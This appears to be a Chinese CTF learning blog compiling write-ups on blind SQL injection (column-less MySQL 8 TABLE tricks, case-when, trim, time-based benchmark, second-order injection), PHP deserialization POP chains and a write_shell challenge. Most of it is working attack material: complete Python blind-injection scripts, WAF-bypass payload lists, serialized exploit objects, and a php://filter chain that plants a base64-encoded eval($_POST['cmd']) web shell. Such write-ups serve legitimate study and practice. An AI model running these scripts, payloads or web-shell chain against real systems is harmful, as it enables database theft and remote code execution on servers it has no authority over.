sql-无列名盲注

无列名盲注

比较法

1.fuzz过滤内容

fuzz一下 发现select 和union都被过滤了,回顾一下select被过滤有什么能替代的
在堆叠注入中可以使用handler,使用预处理拼接绕过,还有mysql的8.0+新版本中的table

table 表名;
img

判断注入类型

页面有两种不同的回显方式:
img
img

确定使用布尔盲注

编写盲注脚本

#payload="database()"#ctf
payload="version()"#8.0.26-0ubuntu0.20.04.2

确定版本8.0+使用table进行注入

table information_schema.tables

但是想要获得ctf的那个表的相关列数据,我们还需要自己去注
难点:由于table 没有where 也没有group_concat,所以我们无法按照常规方法得到ctf的那个库有什么表,此时就需要使用无列名盲注。先通过无列名盲注注出ctf下的表,在通过无列名盲注注出ctf下的字段数据

表位置探测

利用比较法:
首先我们需要找出哪一行是我们需要的,本地测试发现,information_schema.tables有21个列,并且第一个字段值为def 第二个为数据库,由于我们已经知道数据库名字了,所以可以这样判断,不断更改limit的值,判断结果是否为1

并且可以利用这个转折点进行判断是否为我们需要的库
img

img

写一个探测的脚本
本来是想按照上面那个思路写的脚本,但是发现没有探测出来,于是换了一种思路,直接从第一位开始,因为我已经知道数据库的名字是ctf,所以按照 order by table_schema的排序 那么这个表就会在比较前面的位置

def search_co():
for i in range(0,100):
payload=f"admin'and/**/('def','d',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema limit {i},1)#".replace(" ","/**/")
data1={
'username':payload,
'password':"123"
}
#print(data1)
#print(s.post(url=url,data=data1).text)
if "username error!" in s.post(url=url,data=data1).text:
print("ctf库在第",i,"列")
img

爆破表脚本:

这个确实花了我好多时间,主要原因还是在于语句的书写上 有个细节,就是我们的表后面那个字段也是需要空出来的,不然就会造成改字段没比完的情况,还有另一个细节是一些特殊字符是不能去进行比较的,不然的话就直接出错了。。。

def sql_injection_s():
fina_wod=""
a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(0,100):
for j in range(0,62):
payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 0,1))#".replace(" ","/**/")
data={
'username':payload_2,
'password':"1"
}
r = s.post(url=url, data=data).text
#print(data)
if "username error" in r:
fina_wod+=a[j-1]
print(fina_wod)
break
img 爆破出来以后有一个admin,还有另外一个是f11114g

爆破flag

table 表名 limit 1,1;

之前为什么需要知道列名?因为列多,如果我们直接用substr截取的话会报错
img
那么意味着,如果只有一列 那么substr截取就可以不用列名也可以选取了:
img
所这里写脚本就很容易了直接用爆破库名的脚本来就行

table f11114g limit 0,1

需要注意的是 第一行没有flag,第二行才是

def sql_injection(pay_lo):#库名和版本
fina_wod=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_1=f"admin'and ascii(substr(({payload}),{i},1))>{mid}#".replace(" ","/**/")
data={
'username':payload_1,
'password':"1"
}
#print(data)
r=s.post(url=url,data=data).text
#print(r)
if "password error!" in r:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
fina_wod += chr(mid)
print(fina_wod)
flag{8848f380-dce6-4184-a3d8-430e72c4eca0}

完整脚本:

import requests
s=requests.session()
url=""

def sql_injection(pay_lo):#库名和版本
fina_wod=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_1=f"admin'and ascii(substr(({payload}),{i},1))>{mid}#".replace(" ","/**/")
data={
'username':payload_1,
'password':"1"
}
#print(data)
r=s.post(url=url,data=data).text
#print(r)
if "password error!" in r:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
fina_wod += chr(mid)
print(fina_wod)

def sql_injection_s():#表名
fina_wod=""
a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(0,100):
for j in range(0,62):
payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 1,1))#".replace(" ","/**/")
data={
'username':payload_2,
'password':"1"
}
r = s.post(url=url, data=data).text
#print(data)
if "username error" in r:
fina_wod+=a[j-1]
print(fina_wod)
break

def search_co():#探测表在第几个
for i in range(0,10000):
payload=f"admin'and/**/('def','ct',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema desc limit {i},1)#".replace(" ","/**/")
data1={
'username':payload,
'password':"123"
}
#print(data1)
#print(s.post(url=url,data=data1).text)
if "username error!" in s.post(url=url,data=data1).text:
print("ctf库在第",i,"列")


if __name__=="__main__":
#payload="database()"#ctf
#payload="version()"#8.0.26-0ubuntu0.20.04.2
payload="table f11114g limit 1,1"
#search_co()
#print_word()
sql_injection(payload)
#sql_injection_s()

union联合

fuzz过滤内容

看了一下过滤了最重要的info库,就意味着大概率是无列名盲注了,然后过滤了一些比较符号,还有likerlike等正则匹配函数,那么本题似乎只能用case when了的感觉
接下

判断注入类型

布尔盲注,回显分为

测试语句::root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end#
true:welcomt admin
false:wrong

编写盲注脚本:

构造注入语句

这题的截取函数基本都过滤了,所以这里使用
img

接下来就是跑表名,由于in库被过滤了,这里试了一下 发现

select group_concat(table_name) from sys.schema_table_statistics;

是可以的img

就可以跑出表名了
接下来使用union无列名盲注

select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2

得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数

import requests
import string
url="http://a.y1ng.vip:1119/"
s=requests.session()
def sql_injection(payload):
data1=""
for i in range(1,100):
for j in range(32,128):
payload_tr=f"root'and case ascii(reverse(left(({payload}),{i}))) when {j} then 1 else 0 end#".replace(" ","/**/")
data={
"username":payload_tr,
"password":"1141"
}
r=s.post(url=url,data=data).text
#print(r)
#print(data)
if "Welcome Admin!" in r:
data1+=chr(j)
print(data1)
break



if __name__=="__main__":
#payload="database()"#ctfgame
#payload="select group_concat(table_name) from sys.schema_table_statistics"#users,SeCrrreT
payload="select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2"#flag{fab99a66-23db-47b1-9db4-9262664d76a8}
sql_injection(payload)

我用的是case when进行盲注,看了一下师傅的 ,他使用的是between来替代没有了的比较函数

"username" : f"root' and (ascii(reverse(left(({select}),{i}))) between {ascii} and {ascii+1})#".replace(" ", "/**/"),

这是他的语句,收藏起来了~

SQL二次注入-GACTF-carefulleyes

源码审计

首先看看题目的源码,rename.php在这里是存在二次注入的,新的文件名会替换旧的文件名,新文件名又将被直接取出

<?php

require_once "common.php";

if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
$info = $info->fetch_assoc();
echo "oldfilename : ".$info['filename']." will be changed.";
} else {
exit("old file doesn't exists!");
}
}

大致分析一下:
假设我们输入的文件名为:
1'or 1=1#.jpg那么插入到数据库当中以后
将变成
1'or 1=1#那么后面取出数据的时候

select * from `file` where `filename`='{$result['filename']}'
select * from `file` where `filename`='1'or 1=1#'

一开始测试的时候 我是用and的,但是当我改成1’and 1=2的时候回显结果也是一样的?1'and 1=1#
img

后来我改成了1'or 1=1,发现页面有了不一样的回显

img

img

所以可以进行布尔盲注

脚本编写

感觉最近写脚本越来越得心应手了虽然脚本都很简单哈哈哈哈

import requests
s=requests.session()
url1="http://b.y1ng.vip:2016/upload.php"
url2="http://b.y1ng.vip:2016/rename.php"
def upload(str):
content="aaaa"
file1 = {
'upfile':(f"1'{str}#.jpg",content,"image/jpeg")
}
r = s.post(url=url1, files=file1).text
#print(r)
def rename(str):
data={
"oldname":f"1'{str}#",
"newname":"abc"
}
r=s.post(url=url2,data=data).text
return r

def sql_injection(payload):
fina_word=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_fina=f"or ascii(substr(({payload}),{i},1))>{mid}"
upload(payload_fina)
r=rename(payload_fina)
if "Comp 1_100002" in r:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32 or mid==128):
break
fina_word+=chr(mid)
print(fina_word)

if __name__ =="__main__":
# payload="database()"
# payload=""
payload="select group_concat(password) from user"
sql_injection(payload)

这样就可以注出用户名和密码了

XM GaCtF5QL1

反序列化分析

class XCTFGG{
private $method;
private $args;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function login() {
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

global $db;
$obj = $db->query($sql);

$obj = $obj->fetch_assoc();

global $FLAG;

if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
} else {
die("Admin only!");
}
}

function __destruct() {
@call_user_func_array(array($this, $this->method), $this->args);
}
}

可以发现,只要登录成功,就可以拿到flag,此时我们已经得到账号密码了,构造一下即可,看了一下源码,在upload.php中存在反序列化的点,方法很少,所以pop链其实很好看出,就是destruct的时候会使用call_user_func_array,所以只要对method和args进行赋值即可:

<?php

error_reporting(0);
class XCTFGG{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new XCTFGG("login",array("XM","GaCtF5QL1"));
echo urlencode(serialize($a));

但是不知道为啥没拿到flag

upload successfully!<br />
<b>Fatal error</b>: Uncaught Error: Call to undefined function mysql_escape_string() in /var/www/html/common.php:39
Stack trace:
#0 /var/www/html/common.php(59): XCTFGG->login('XM', 'GaCtF5QL1')
#1 /var/www/html/upload.php(47): XCTFGG->__destruct()
#2 {main}
thrown in <b>/var/www/html/common.php</b> on line <b>39</b><br />

2021-hf-hatenum复现

前言

今天主要跟着YING师父的wp学习一下其中的知识点~

分析源码

在login函数中看到,有三种回显,一种是成功,另外一个是error还有一个是fail,所以我们应该构造一个语句,可以有回显error还有fail,那么就是一个要报错一个要false

	function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}

这里过滤了一系列字符,包括union,select,这里最糟糕的是他过滤了单引号,因为我们通常是采用单引号来闭合语句的

function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

还有一个字符数目限制,限制字符长度在9个以内

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

引号绕过

由于本题只需要登录即可,所以我们只要获取密码就行了,那么就可以利用源码里面自带的查询语句,这样没有select也没关系,但是引号如何闭合绕过呢?
查询语句是这样的:
那我们只需要在第二个引号的位置加一下反斜杠将它转义,然后将我们要注入的内容放在password字段

"select * from users where username='$username' and password='$password'"

所以就如下:

"select * from users where username='$username\' and password='||`username`='admin'后面再加上你的注入语句#"

布尔盲注语句构造

条件语句的选取:

由于比较符号都被过滤了,如果使用if显然是不够的,这里我们使用case when
初步语句构造为:

case '' when '' then '' else '' end#

后面then和else一个发报错的一个放查询错误的

报错函数选取

报错函数可以用cot(0)或者exp(9999999999999999)都是三角函数

截取函数选择

由于这里将substr等截取函数都过滤了,所以选择trim()函数

trim(leading''from'')rlike(trim(leading''from''))

这个语句我们在mysql中测试一下将会更直观一些:

trim(leading('a')from(`password`)) rlike trim(leading('b')from(`password`))

和条件语句组合后即为:以下语句的意思即为如果两个trim的结果如果一致则为1 那么就不是0 那么就会返回1,如果两个trim的结果不一致,那么就会返回0就会返回cot(0)

case trim(leading 'a' from `password`) rlike trim(leading 'b' from `password`) when 0 then cot(0) else 1 end

可以发现如果截取到密码的字符,那么就会返回错误,否则就会返回表,查询结果即为false
img

长度绕过:

由于我们不能输入引号,所以说字符串都需要转为十六进制进行输入,但是转为十六进制的势必会超过9位数,所以我们可以利用hex和unhex函数缩短长度:
先用十进制表示转为十六进制的字符串,那么此时 我们就可以用运算符以及科学技术法,那么位数将会减少很多了,最后再将结果转为十六进制即可

select admin;
select unhex(hex(4182e8+96719726e0));
img 但是字符取到后面还是会超过9位,此时需要另一种方法来截取,那就是使用函数嵌套,我们的问题在于,到后面过多的取字符以后比如说密码为abc,取了abc,那么他们即使转为十进制+科学计数法+运算符,也还是会超过9位,所以我们需要使用嵌套,一部分一部分的取,如下 img
def recursion_g_code(l:list):
def g_code(prefix, code):
return f"trim(leading({wrap_str(prefix)})from({code}))"
code = "'code'"
for i in l:
code = f'''g_code("{i}", {code})'''
return eval(code)

脚本

我自己肯定写不出来这么厉害的脚本。。。代码编写能力还是太差,所以就仿照一下自己理解的编写一下:
首先是第一段
字符串转数字:
通过每次取余八位,将后面的数字内容先截取出来,然后转变为科学计数法,然后再将剩下的数字以科学计数法表示

import requests as req
import string
from Crypto.Util.number import bytes_to_long#从crypto中导入bytes_to_long函数,这个函数可以将字符串转为长整数
url=""
"字符串转unhex(hex())"
def wrap_str(s:str):
def split_num(num:int):
p=8
m=pow(10,p)
parts=[]
i=0
while num >0:
parts.insert(0,f"{num % m}e{i}")#insert函数是对list进行操作,表示,第一个数字表示操作的位置,第二个表示插入的内容
i+=p
num = num // m
if i >=100:
raise RuntimeError("todo")
return "+".join(parts)
s=s.encode()
return f"unhex(hex({split_num(bytes_to_long(s))}))"
img

第二段 trim的套娃

def recursion_g_code(l:list):
def g_code(prefix, code):
return f"trim(leading({wrap_str(prefix)})from({code}))"
code = "'code'"
for i in l:
code = f'''g_code("{i}", {code})'''
return eval(code)
trim(leading(unhex(hex(5033e8+70115431e0)))from(trim(leading(unhex(hex(30057e0)))from(trim(leading(unhex(hex(12851e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(30073e0)))from(trim(leading(unhex(hex(26674e0)))from(trim(leading(unhex(hex(26983e0)))from(trim(leading(unhex(hex(29301e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(25970e0)))from(code))))))))))))))))))))rlike(trim(leading(unhex(hex(5033e8+70115432e0)))from(trim(leading(unhex(hex(30057e0)))from(trim(leading(unhex(hex(12851e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(30073e0)))from(trim(leading(unhex(hex(26674e0)))from(trim(leading(unhex(hex(26983e0)))from(trim(leading(unhex(hex(29301e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(25970e0)))from(code)))))))))))))))))))))
img

可以看到分别是对这三个部分进行递归嵌套

知识点小结:

1.引号绕过,两个参数均可控的情况下
2.case when else end
3.trim函数截取
4.字符串转化为大数化短
5.记一点小坑,就是在post请求的时候需要allow_redirects=False,否则的话无法接收到正确的报文,原因是源码中在post请求后会有header(location)进行重定向

sql时间盲注

前期测试

确定注入点以及过滤内容

发现username必须是admin,如果不是admin混有其他字符的话就会返回you are not admin,但是password可以注入,先fuzz一下过滤的字符,过滤substr、union等字符,也过滤了sleep,同时还过滤了空格

确定注入类型

发现不论输入的内容是什么 页面的回显均是password error,所以尝试一下时间盲注的语句,但是过滤了sleep那么就需要使用benchmark,由于substr以及比较符之类的都没了,所以这里就用in了

1'or/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/benchmark(1000000,sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG'))))))))end#
img

编写盲注脚本:

一开始在写的时候 忘记ascii不见了,所以写的还挺顺的,后来发现不见了,于是就要重新修改一下,想到之前刚学的hex于是就用hex进行书写一下试试

import requests
import time
import binascii
url="http://a.y1ng.vip:1102/index.php"
s=requests.session()
def hex_tran(s):
return hex(s).replace("0x", "")
def tran_str(g):
tran_tmp=""
g = binascii.unhexlify(g)
print(g.decode('utf-8'))
tran_tmp=g
print(tran_tmp[::-1])
return tran_tmp[::-1]


def sql_injection(payload:str):
wd_tr=""
for j in range(1,100):
for i in range(32,128):
payload_fina=f"1'or/**/case/**/(select/**/hex(right(({payload}),{j}))/**/in/**/('{hex_tran(i)+wd_tr}'))/**/when/**/1/**/then/**/benchmark(100000,sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG'))))))))/**/else/**/1/**/end#"
data={
"username":"admin",
"password":payload_fina
}
print(data)
times=time.time()
r=s.post(url,data=data).text
if time.time()-times >= 4:
wd_tr=f"{hex_tran(i)}"+wd_tr
print(wd_tr)
break
if i==127:
wd_tr = tran_str(wd_tr)
print(wd_tr)
exit(0)




if __name__ =="__main__":
#payload="database()"
#payload="select group_concat(table_name) from information_schema.tables where table_schema in (select database())".replace(" ","/**/")
#payload="select group_concat(column_name) from information_schema.columns where table_name in ('Fl49ish3re')".replace(" ","/**/")
payload="select group_concat(f1aG123) from Fl49ish3re".replace(" ","/**/")#flag{08e687c1-cc68-4db0-9924-407792caf20e}
sql_injection(payload)

但是发现只能打印一部分表的感觉,但是ascii码表都齐了呀–就很奇怪。。。在本地测试了一下,因为我们是十六进制的,所以会出现abcdef这些字母,但是在mysql中 这些字母是大写的,但是在python中的转化结果是小写的,然后我们还使用了binary,区分大小写,所以就跑不出来了,这里我们可以将binary去掉,这样就没关系了

卡壳点

主要是还是编程能力太弱,还需多加锻炼
然后就是那个binary区分大小写的,如果是用字符去注的话就需要区分了,但是这里不是,直接用十六进制就不用了

buu26

[b01lers2020]Life on Mars

burp抓包,发现有参数,尝试一下sql注入,发现为数字型注入,使用union联合注入,字段数为2,并且回显在最后一个位置

img

接下来就开始

amazonis_planitia%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='aliens'--+
img 发现表都是一样的,感觉有点奇怪,于是再回去看看有没有其他库,但是确实只有一个库,看了一下wp发现是要用sqlmap跑一下,有一个code库 然后手工注入一下:
search=amazonis_planitia union select group_concat(id),group_concat(code) from alien_code.code--+

[GXYCTF2019]BabysqliV3.0

查看源码,发现一个Unicode,解码以后是一个
img
一开始没反应过来,后来想想,它的意思应该是提示这是一个弱口令
跑了一下发现admin/password可以登录
登陆以后发现有文件包含,用伪协议尝试读一下源码试试看
img

?file=php://filter/read=convert.base64-encode/resource=home
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}

}
else{
die("no permission!");
}
}
?>

根据过滤内容,应该是有一个名为flag的文件夹存储着flag
再来读一下upload.php的文件内0容

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

文件+序列化,并且没有反序列化的点,那么就是phar反序列化

sql盲注深入学习

sql注入语句整理

这里整理一下绕过了大部分waf的语句

union联合注入:

过滤了空格

-1'union/*a*/select/*a*/1,group_concat(table_name),3/*a*/from/*a*/information_schema.tables/*a*/where/*a*/table_schema=database()--+
-1'union/*a*/select/*a*/1,group_concat(column_name),3/*a*/from/*a*/information_schema.columns/*a*/where/*a*/table_name='fl4g'--+
-1'union/*a*/select/*a*/1,fllllag,3/*a*/from/*a*/fl4g--+

过滤了table表

-1'union/*a*/select/*a*/1,group_concat(table_name),3/*a*/from/*a*/sys.schema_auto_increment_columns/**/where/**/tabe_schema=database()--+
-1'union/*a*/select/*a*/1,group_concat(table_name),3/**/from/*a*/mysql.innodb_table_stats/*a*/where/*a*/database_name=database()--+
-1'union/*a*/select/*a*/1,fllllag,3/*a*/from/*a*/fl4g--+

报错注入

1'and/**/extractvalue('~',concat('~',database()))--+
1'and/**/extractvalue('~',concat('~',(select group_concat(table_name) from information_schema.tab
les where table_schema=database())))--+
1'and/**/extractvalue('~',concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')))--+

sql盲注

字符串截取问题

1.substr()/substring()

语法substr(str,pos),截取从pos位置开始到最后的所有str字符串

substr(str,pos,len)
substr(str from pos for len)
substr(str from pos)

两种等价形式

img

2.mid()

sql mid()函数用遇得到一个字符串的一部分,这个函数被MYSQL支持,但不被MS SQL Server 和Oracle支持。在SQL Server、Oracle数据库中,我们可以使用SQLsubstring或者sql substr函数作为替代
在mysql中和substr基本一样
mid必须要三个参数
img

3.right+ascii

语法:ascii(right(str,pos))

img

4.left+reverse+ascii

left只能显示第一个字符的ascii码,所以每次截取新的出来都需要用reverse翻转更新该ascii码
img

比较问题

1.等于

2.大于小于

3.like

sql中like自居使用百分号%字符来表示任意字符,类似于unix或正则表达式中的星号*。
如果没有使用百分号%,like字句与等号=的效果是一样的
img

4.正则表达式regexp rlike

语法regexp "^str"

img

regexp和rlike是不区分大小写的,需要大小写敏感要加上binary关键字
img

5.between

img

6.in

img

也是大小写不敏感,字符和数字都可用,也有not in

7.AND逻辑与运算符

1和真与还是真
img
下面的逻辑运算的都一样

8.比较 or逻辑运算符

9.异或运算符

10.order by比较盲注

语句:
select x union select yzk order by 1; 如果x<y那么排序的第一个会是x,如果x>y那么排序第一个是y,更改的那一瞬间就会发生改变,

img img

图中表箭头的是可以修改的可以发现布尔值更改的前一个就是真的
img

11.case

case exp1 when exp2 then exp3 else exp4 end;

这个语句的意思是:if exp1==exp2: return exp3
else return exp4

img

12.if

13.trim()

trim():删除前后空格、rtrim():删除字符串结尾空格、ltrim():删除字符串起始空格
语法:trim(both/leading/tring 目标字符串 from 源字符串)
imgimg

利用:
可以发现有不一样的回显

img

写成比较语句如下:
img

img

如果=号用regexp替代 那么正确的字符一定在regexp前面

img
img
所以应该是正确的那个在后面

14.insert()

insert(字符串,起始长度,长度,替换为什么)

img

这样就可以按位截取字符

-1'/**/group/**/by/**/23,'
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

buu25

[EIS 2019]EzPOP

找到一个危险函数根据此函数往前看看是否能传值进去这里有个exit(),好像不会执行后面data的内容,这里待会需要想办法绕过,但是首先需要弄懂将值传入的链
img

data首先可能会经过一个压缩的操作为了不让data发生改变,我们就需要将data_compress设为0
img

接下来会经过一个serialize的函数操作,如果为数字,那么就会返回string的data,那我们可以先让我们data会string类型,后面因为serialize()可以看成是一个函数的执行,并且serialize可以由我们直接赋值,这里可以使用strval函数。
img
向上是set函数没传入这些值,其中value就是对应我们后面的data
img

往上对应来自于class A中的content中,而这里的store需要赋值为classB中,不然找不到set方法
img

在往上看到来自于cleanContents中的cache,这个在前面的定义中没有看到,所以我们可以直接自己定义一下这个变量,看到下面还有一个json_encode为了防止被json_encode,我们这里还需要将complete设置为0这样子的话就可以避免被json_encode
img

img

最后再向上来到construct这里,这里有对store进行赋值,这里需要赋值为new B
img

现在整理一下编写pop链条:

<?php
class A{
public $store;
public $key="a.php";
public $expire;
public $cache;
public $complete;
public function __construct($store)
{
$this->store=$store;
}
}
class B{
public $options;
}
$b=new B();
$b->options=array('data_compress'=>0,'expire'=>0,'serialize'=>'strval');
$a=new A($b);
$a->cache=array(1=>array(1=>1));
$a->complete=0;
$a->key=1;
$a->expire=null;
echo serialize($a);

现在的难点在于我们写入的内容前面有一个exit()这样的话,我们写入的内容将不会被执行,参考
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这里介绍的方法是这样的:先使用php://filter/wtrite=convert.base64.decode/resource=./uploads/伪协议,对原本文件中的内容进行base64编码后的读取,除掉那些<?的特殊字符,我们只会对phpexit进行base64编码,我们传入的内容也需要是base64加密,但是我们可以多传入几个字符,打乱前面的加密
base64加密方式:
第一步,将待转换的字符串每三个字节分为一组,每个字节占8bit,那么共有24个二进制位。
第二步,将上面的24个二进制位每6个一组,共分为4组。
第三步,在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。
第四步,根据Base64编码对照表(见下图)获得对应的值。反过来,base64解码时,一定是4个有效字节为一组进行解码

所以说这里要跟踪一下content传入的值,可以发现最终传入的值为第一个数组的键值,以及嵌套后的数组的键值
img
拼接以后即变成,因为接下来由于我们使用的伪协议的decode打开,所以前面这些将被base64解密回去,变成乱码 exit就消失了

phpexit111 这里是一句话木马

接下来写一下pop链:

<?php
class A{
public $store;
public $key="a.php";
public $expire;
public $cache;
public $complete;
public function __construct($store)
{
$this->store=$store;
}
}
class B{
public $options;
}
$b=new B();
$b->options=array('data_compress'=>0,'expire'=>0,'serialize'=>'strval','prefix'=>'php://filter/write=convert.base64-decode/resource=./uploads/');
$a=new A($b);
$a->cache=array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmFhYWFh"));
$a->complete=1;
$a->key='shell.php';
$a->expire=null;
echo urlencode(serialize($a));

小结:

这道题的坑点还挺多的
1.存在许多可能改变data的函数,但是都可以绕过
2.传入的数组需要为双重数组,具体是为什么可以在phpstorm中调试一下,并且我们的内容的键名还必须是他要求的那几个才会被识别进入content
3.exit的绕过需要了解base64的加密方式,然后后面的payload,在我们传入的时候后面需要再添加几个字母来补齐,防止前面的内容在解密的时候被吃掉

buu24

[红明谷CTF 2021]write_shell

首先是check函数过滤了一些字符

function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

如果传入的是数组,那么就会进行foreach再对其键值进行check函数的过滤

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

经过waf后的内容将会被传入index.php中

case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);

现在需要想的就是如何构造shell,过滤了php我们可以使用短标签进行绕过,过滤了 过滤了php我们可以使用.进行连接,过滤了空格,我们可以使用括号进行绕过,

/?action=upload&data=<?=(ph.pinfo)()?>

绕过成功img

/?action=upload&data=<?=`ls%09/`?>
img 接下来就是cat它就好了

[SWPU2019]Web4

测试了一下 发现是堆叠注入,但是没有输出回显信息,也不符合布尔盲注的条件
img

那就要考虑一下时间盲注了,接下来构造一下语句,尝试了一下select sleep(5),发现没有反应,猜测存在过滤,堆叠注入的绕过有一个预处理,可以采取使用concat连接的方式进行绕过img

但是由于不确定都过滤了那些内容,虽然可以使用延迟进行fuzz,但是有点麻烦,可以直接采用十六进制转码的形式进行绕过

import requests
import json
import time

def main():
#题目地址
url = '''http://5c6e0550-a9af-461f-8eda-50bc9d0086f0.node4.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
main()

这个是网上大神的脚本,我的好像出了点问题,没跑出来–得到glzjin_wants_a_girl_friend.zip里面是源码,接下来审计一下:
